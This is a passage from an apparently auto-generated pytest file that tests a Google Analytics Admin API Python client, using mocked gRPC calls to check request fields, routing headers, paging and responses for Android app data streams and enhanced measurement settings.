# fields is an error.
with pytest.raises(ValueError):
client.get_android_app_data_stream(
analytics_admin.GetAndroidAppDataStreamRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_android_app_data_stream_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.AndroidAppDataStream()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.AndroidAppDataStream()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_android_app_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_android_app_data_stream_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_android_app_data_stream(
analytics_admin.GetAndroidAppDataStreamRequest(), name="name_value",
)
def test_delete_android_app_data_stream(
transport: str = "grpc",
request_type=analytics_admin.DeleteAndroidAppDataStreamRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteAndroidAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_android_app_data_stream_from_dict():
test_delete_android_app_data_stream(request_type=dict)
def test_delete_android_app_data_stream_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_android_app_data_stream), "__call__"
) as call:
client.delete_android_app_data_stream()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteAndroidAppDataStreamRequest()
@pytest.mark.asyncio
async def test_delete_android_app_data_stream_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.DeleteAndroidAppDataStreamRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteAndroidAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_delete_android_app_data_stream_async_from_dict():
await test_delete_android_app_data_stream_async(request_type=dict)
def test_delete_android_app_data_stream_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteAndroidAppDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_android_app_data_stream), "__call__"
) as call:
call.return_value = None
client.delete_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_android_app_data_stream_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteAndroidAppDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_android_app_data_stream), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_android_app_data_stream_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_android_app_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_android_app_data_stream_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_android_app_data_stream(
analytics_admin.DeleteAndroidAppDataStreamRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_android_app_data_stream_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_android_app_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_android_app_data_stream_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_android_app_data_stream(
analytics_admin.DeleteAndroidAppDataStreamRequest(), name="name_value",
)
def test_update_android_app_data_stream(
transport: str = "grpc",
request_type=analytics_admin.UpdateAndroidAppDataStreamRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.AndroidAppDataStream(
name="name_value",
firebase_app_id="firebase_app_id_value",
package_name="package_name_value",
display_name="display_name_value",
)
response = client.update_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateAndroidAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.AndroidAppDataStream)
assert response.name == "name_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.package_name == "package_name_value"
assert response.display_name == "display_name_value"
def test_update_android_app_data_stream_from_dict():
test_update_android_app_data_stream(request_type=dict)
def test_update_android_app_data_stream_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_android_app_data_stream), "__call__"
) as call:
client.update_android_app_data_stream()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateAndroidAppDataStreamRequest()
@pytest.mark.asyncio
async def test_update_android_app_data_stream_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.UpdateAndroidAppDataStreamRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.AndroidAppDataStream(
name="name_value",
firebase_app_id="firebase_app_id_value",
package_name="package_name_value",
display_name="display_name_value",
)
)
response = await client.update_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateAndroidAppDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.AndroidAppDataStream)
assert response.name == "name_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.package_name == "package_name_value"
assert response.display_name == "display_name_value"
@pytest.mark.asyncio
async def test_update_android_app_data_stream_async_from_dict():
await test_update_android_app_data_stream_async(request_type=dict)
def test_update_android_app_data_stream_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateAndroidAppDataStreamRequest()
request.android_app_data_stream.name = "android_app_data_stream.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_android_app_data_stream), "__call__"
) as call:
call.return_value = resources.AndroidAppDataStream()
client.update_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"android_app_data_stream.name=android_app_data_stream.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_android_app_data_stream_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateAndroidAppDataStreamRequest()
request.android_app_data_stream.name = "android_app_data_stream.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_android_app_data_stream), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.AndroidAppDataStream()
)
await client.update_android_app_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"android_app_data_stream.name=android_app_data_stream.name/value",
) in kw["metadata"]
def test_update_android_app_data_stream_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.AndroidAppDataStream()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_android_app_data_stream(
android_app_data_stream=resources.AndroidAppDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].android_app_data_stream == resources.AndroidAppDataStream(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_android_app_data_stream_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_android_app_data_stream(
analytics_admin.UpdateAndroidAppDataStreamRequest(),
android_app_data_stream=resources.AndroidAppDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_android_app_data_stream_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_android_app_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.AndroidAppDataStream()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.AndroidAppDataStream()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_android_app_data_stream(
android_app_data_stream=resources.AndroidAppDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].android_app_data_stream == resources.AndroidAppDataStream(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_android_app_data_stream_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_android_app_data_stream(
analytics_admin.UpdateAndroidAppDataStreamRequest(),
android_app_data_stream=resources.AndroidAppDataStream(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_list_android_app_data_streams(
transport: str = "grpc",
request_type=analytics_admin.ListAndroidAppDataStreamsRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_android_app_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListAndroidAppDataStreamsResponse(
next_page_token="next_page_token_value",
)
response = client.list_android_app_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListAndroidAppDataStreamsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListAndroidAppDataStreamsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_android_app_data_streams_from_dict():
test_list_android_app_data_streams(request_type=dict)
def test_list_android_app_data_streams_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_android_app_data_streams), "__call__"
) as call:
client.list_android_app_data_streams()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListAndroidAppDataStreamsRequest()
@pytest.mark.asyncio
async def test_list_android_app_data_streams_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ListAndroidAppDataStreamsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_android_app_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListAndroidAppDataStreamsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_android_app_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListAndroidAppDataStreamsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListAndroidAppDataStreamsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_android_app_data_streams_async_from_dict():
await test_list_android_app_data_streams_async(request_type=dict)
def test_list_android_app_data_streams_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListAndroidAppDataStreamsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_android_app_data_streams), "__call__"
) as call:
call.return_value = analytics_admin.ListAndroidAppDataStreamsResponse()
client.list_android_app_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_android_app_data_streams_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListAndroidAppDataStreamsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_android_app_data_streams), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListAndroidAppDataStreamsResponse()
)
await client.list_android_app_data_streams(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_android_app_data_streams_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_android_app_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListAndroidAppDataStreamsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_android_app_data_streams(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_android_app_data_streams_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_android_app_data_streams(
analytics_admin.ListAndroidAppDataStreamsRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_android_app_data_streams_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_android_app_data_streams), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListAndroidAppDataStreamsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListAndroidAppDataStreamsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_android_app_data_streams(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_android_app_data_streams_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_android_app_data_streams(
analytics_admin.ListAndroidAppDataStreamsRequest(), parent="parent_value",
)
def test_list_android_app_data_streams_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_android_app_data_streams), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[], next_page_token="def",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[resources.AndroidAppDataStream(),],
next_page_token="ghi",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_android_app_data_streams(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.AndroidAppDataStream) for i in results)
def test_list_android_app_data_streams_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_android_app_data_streams), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[], next_page_token="def",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[resources.AndroidAppDataStream(),],
next_page_token="ghi",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
],
),
RuntimeError,
)
pages = list(client.list_android_app_data_streams(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_android_app_data_streams_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_android_app_data_streams),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[], next_page_token="def",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[resources.AndroidAppDataStream(),],
next_page_token="ghi",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
],
),
RuntimeError,
)
async_pager = await client.list_android_app_data_streams(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.AndroidAppDataStream) for i in responses)
@pytest.mark.asyncio
async def test_list_android_app_data_streams_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_android_app_data_streams),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
],
next_page_token="abc",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[], next_page_token="def",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[resources.AndroidAppDataStream(),],
next_page_token="ghi",
),
analytics_admin.ListAndroidAppDataStreamsResponse(
android_app_data_streams=[
resources.AndroidAppDataStream(),
resources.AndroidAppDataStream(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_android_app_data_streams(request={})
).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_get_enhanced_measurement_settings(
transport: str = "grpc",
request_type=analytics_admin.GetEnhancedMeasurementSettingsRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_enhanced_measurement_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.EnhancedMeasurementSettings(
name="name_value",
stream_enabled=True,
page_views_enabled=True,
scrolls_enabled=True,
outbound_clicks_enabled=True,
site_search_enabled=True,
video_engagement_enabled=True,
file_downloads_enabled=True,
page_loads_enabled=True,
page_changes_enabled=True,
search_query_parameter="search_query_parameter_value",
uri_query_parameter="uri_query_parameter_value",
)
response = client.get_enhanced_measurement_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetEnhancedMeasurementSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.EnhancedMeasurementSettings)
assert response.name == "name_value"
assert response.stream_enabled is True
assert response.page_views_enabled is True
assert response.scrolls_enabled is True
assert response.outbound_clicks_enabled is True
assert response.site_search_enabled is True
assert response.video_engagement_enabled is True
assert response.file_downloads_enabled is True
assert response.page_loads_enabled is True
assert response.page_changes_enabled is True
assert response.search_query_parameter == "search_query_parameter_value"
assert response.uri_query_parameter == "uri_query_parameter_value"
def test_get_enhanced_measurement_settings_from_dict():
test_get_enhanced_measurement_settings(request_type=dict)
def test_get_enhanced_measurement_settings_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_enhanced_measurement_settings), "__call__"
) as call:
client.get_enhanced_measurement_settings()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetEnhancedMeasurementSettingsRequest()
@pytest.mark.asyncio
async def test_get_enhanced_measurement_settings_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetEnhancedMeasurementSettingsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_enhanced_measurement_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.EnhancedMeasurementSettings(
name="name_value",
stream_enabled=True,
page_views_enabled=True,
scrolls_enabled=True,
outbound_clicks_enabled=True,
site_search_enabled=True,
video_engagement_enabled=True,
file_downloads_enabled=True,
page_loads_enabled=True,
page_changes_enabled=True,
search_query_parameter="search_query_parameter_value",
uri_query_parameter="uri_query_parameter_value",
)
)
response = await client.get_enhanced_measurement_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetEnhancedMeasurementSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.EnhancedMeasurementSettings)
assert response.name == "name_value"
assert response.stream_enabled is True
assert response.page_views_enabled is True
assert response.scrolls_enabled is True
assert response.outbound_clicks_enabled is True
assert response.site_search_enabled is True
assert response.video_engagement_enabled is True
assert response.file_downloads_enabled is True
assert response.page_loads_enabled is True
assert response.page_changes_enabled is True
assert response.search_query_parameter == "search_query_parameter_value"
assert response.uri_query_parameter == "uri_query_parameter_value"
@pytest.mark.asyncio
async def test_get_enhanced_measurement_settings_async_from_dict():
await test_get_enhanced_measurement_settings_async(request_type=dict)
def test_get_enhanced_measurement_settings_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetEnhancedMeasurementSettingsRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_enhanced_measurement_settings), "__call__"
) as call:
call.return_value = resources.EnhancedMeasurementSettings()
client.get_enhanced_measurement_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_enhanced_measurement_settings_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
